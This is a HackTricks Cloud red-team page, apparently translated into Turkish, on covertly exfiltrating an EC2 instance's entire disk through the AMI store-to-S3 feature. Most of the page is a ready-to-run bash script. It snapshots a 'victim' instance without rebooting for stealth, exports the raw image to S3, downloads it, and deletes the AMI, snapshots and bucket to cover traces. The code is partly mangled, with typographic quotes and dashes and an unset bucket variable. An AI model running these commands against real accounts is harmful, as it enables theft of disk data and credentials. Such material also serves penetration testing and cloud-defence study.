AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Özet
EC2 AMI export-to-S3 özelliğini kötüye kullanarak bir EC2 instance’ının tüm diskini S3’te tek bir raw imaj olarak dışa aktarın, ardından bunu harici bir kanal üzerinden indirin. Bu, snapshot paylaşımını önler ve her AMI için tek bir obje üretir.
Gereksinimler
- EC2:
ec2:CreateImage,ec2:CreateStoreImageTask,ec2:DescribeStoreImageTaskshedef instance/AMI üzerinde - S3 (aynı Region):
s3:PutObject,s3:GetObject,s3:ListBucket,s3:AbortMultipartUpload,s3:PutObjectTagging,s3:GetBucketLocation - KMS decrypt yetkisi, AMI snapshot’larını koruyan anahtar üzerinde (EBS default encryption etkinse)
- vmie.amazonaws.com servis principal’ına güvenen bir S3 bucket politikası (aşağıya bakın)
Etkiler
- Snapshot paylaşımı veya hesaplar arası kopyalama olmadan, instance root diskinin S3’te tam çevrimdışı (offline) olarak elde edilmesi.
- Dışa aktarılan raw imaj üzerinden kimlik bilgileri, konfigürasyon ve dosya sistemi içeriği üzerinde gizli adli inceleme (stealth forensics) yapılmasına olanak sağlar.
AMI Store-to-S3 ile Nasıl Dışa Aktarılır
- Notlar:
- S3 bucket, AMI ile aynı Region’da olmalıdır.
us-east-1bölgesindecreate-bucketkomutu--create-bucket-configurationiçermemelidir.--no-reboot, instance’ı durdurmadan crash-consistent bir imaj oluşturur (daha gizli ama daha az tutarlı).
Adım adım komutlar
```bash # Vars REGION=us-east-1 INSTANCE_ID=1) Create S3 bucket (same Region)
if [ “$REGION” = “us-east-1” ]; then aws s3api create-bucket –bucket “$BUCKET” –region “$REGION” else aws s3api create-bucket –bucket “$BUCKET” –create-bucket-configuration LocationConstraint=$REGION –region “$REGION” fi
2) (Recommended) Bucket policy to allow VMIE service to write the object
ACCOUNT_ID=$(aws sts get-caller-identity –query Account –output text) cat > /tmp/bucket-policy.json <<POL { “Version”: “2012-10-17”, “Statement”: [ { “Sid”: “AllowVMIEPut”, “Effect”: “Allow”, “Principal”: {“Service”: “vmie.amazonaws.com”}, “Action”: [ “s3:PutObject”, “s3:AbortMultipartUpload”, “s3:ListBucket”, “s3:GetBucketLocation”, “s3:GetObject”, “s3:PutObjectTagging” ], “Resource”: [ “arn:aws:s3:::$BUCKET”, “arn:aws:s3:::$BUCKET/” ], “Condition”: { “StringEquals”: {“aws:SourceAccount”: “$ACCOUNT_ID”}, “ArnLike”: {“aws:SourceArn”: “arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-”} } } ] } POL aws s3api put-bucket-policy –bucket “$BUCKET” –policy file:///tmp/bucket-policy.json
3) Create an AMI of the victim (stealthy: do not reboot)
AMI_ID=$(aws ec2 create-image –instance-id “$INSTANCE_ID” –name exfil-$(date +%s) –no-reboot –region “$REGION” –query ImageId –output text)
4) Wait until the AMI is available
aws ec2 wait image-available –image-ids “$AMI_ID” –region “$REGION”
5) Store the AMI to S3 as a single object (raw disk image)
OBJKEY=$(aws ec2 create-store-image-task –image-id “$AMI_ID” –bucket “$BUCKET” –region “$REGION” –query ObjectKey –output text)
echo “Object in S3: s3://$BUCKET/$OBJKEY”
6) Poll the task until it completes
until [ “$(aws ec2 describe-store-image-tasks –image-ids “$AMI_ID” –region “$REGION”
–query StoreImageTaskResults[0].StoreTaskState –output text)“ = “Completed” ]; do
aws ec2 describe-store-image-tasks –image-ids “$AMI_ID” –region “$REGION”
–query StoreImageTaskResults[0].StoreTaskState –output text
sleep 10
done
7) Prove access to the exported image (download first 1MiB)
aws s3api head-object –bucket “$BUCKET” –key “$OBJKEY” –region “$REGION” aws s3api get-object –bucket “$BUCKET” –key “$OBJKEY” –range bytes=0-1048575 /tmp/ami.bin –region “$REGION” ls -l /tmp/ami.bin
8) Cleanup (deregister AMI, delete snapshots, object & bucket)
aws ec2 deregister-image –image-id “$AMI_ID” –region “$REGION”
for S in $(aws ec2 describe-images –image-ids “$AMI_ID” –region “$REGION”
–query Images[0].BlockDeviceMappings[].Ebs.SnapshotId –output text); do
aws ec2 delete-snapshot –snapshot-id “$S” –region “$REGION”
done
aws s3 rm “s3://$BUCKET/$OBJKEY” –region “$REGION”
aws s3 rb “s3://$BUCKET” –force –region “$REGION”
</details>
## Kanıt Örneği
- `describe-store-image-tasks` geçişleri:
```text
InProgress
Completed
- S3 nesne meta verisi (örnek):
{
"AcceptRanges": "bytes",
"LastModified": "2025-10-08T01:31:46+00:00",
"ContentLength": 399768709,
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
"ContentType": "application/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {
"ami-name": "exfil-1759887010",
"ami-owner-account": "<account-id>",
"ami-store-date": "2025-10-08T01:31:45Z"
}
}
- Kısmi indirme, nesne erişimini kanıtlar:
ls -l /tmp/ami.bin
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
Gerekli IAM İzinleri
- EC2:
CreateImage,CreateStoreImageTask,DescribeStoreImageTasks - S3 (export bucket üzerinde):
PutObject,GetObject,ListBucket,AbortMultipartUpload,PutObjectTagging,GetBucketLocation - KMS: Eğer AMI snapshots şifreliyse, snapshot’lar tarafından kullanılan EBS KMS anahtarı için decrypt izni verin
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

